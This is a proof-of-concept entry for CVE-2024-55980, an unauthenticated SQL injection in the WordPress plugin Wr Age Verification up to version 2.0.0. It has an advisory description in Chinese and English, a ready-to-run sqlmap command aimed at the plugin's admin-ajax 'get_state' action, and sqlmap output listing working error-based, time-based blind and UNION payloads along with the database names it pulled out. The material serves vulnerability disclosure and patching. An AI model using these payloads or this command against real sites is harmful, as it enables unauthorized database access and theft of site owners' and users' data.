CVE-2024-55980 PoC — WordPress plugin Wr Age Verification SQL注入漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-55980

Associated Vulnerability

Title:WordPress plugin Wr Age Verification SQL注入漏洞 (CVE-2024-55980)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Wr Age Verification 2.0.0版本及之前版本存在SQL注入漏洞，该漏洞源于SQL命令中使用的特殊元素的中和不当，导致SQL注入漏洞。

Description

Wr Age Verification <= 2.0.0 - Unauthenticated SQL Injection

Readme

# CVE-2024-55980
Wr Age Verification <= 2.0.0 - Unauthenticated SQL Injection

# Description

The Wr Age Verification plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

## Details

- **Type**: plugin
- **Slug**: wr-age-verification
- **Affected Version**: 2.0.0
- **CVSS Score**: 7.5
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- **CVE**: CVE-2024-55980
- **Status**: Closed

POC
---
```
sqlmap.py -u "https://wp-dev.ddev.site:443/wp-admin/admin-ajax.php" --data="action=get_state&id=uk" --level 2 --risk 2 --dbms mysql -dbs -p id
```

```
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1839 HTTP(s) requests:
---
Parameter: id (POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: action=get_state&id=-4023 OR 1 GROUP BY CONCAT(0x71626a7071,(SELECT (CASE WHEN (5717=5717) THEN 1 ELSE 0 END)),0x716b767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: action=get_state&id=(CASE WHEN (4695=4695) THEN SLEEP(5) ELSE 4695 END)

    Type: UNION query
    Title: MySQL UNION query (random number) - 9 columns
    Payload: action=get_state&id=-4877 UNION ALL SELECT 4325,4325,4325,4325,4325,4325,4325,4325,CONCAT(0x71626a7071,0x766a504d7043656b517443675871505768496c43747a7666764d70506d55785067764e45524f6647,0x716b767071)#
---
[11:15:23] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:15:23] [INFO] fetching database names
available databases [3]:
[*] db
[*] information_schema
[*] test

```

File Snapshot


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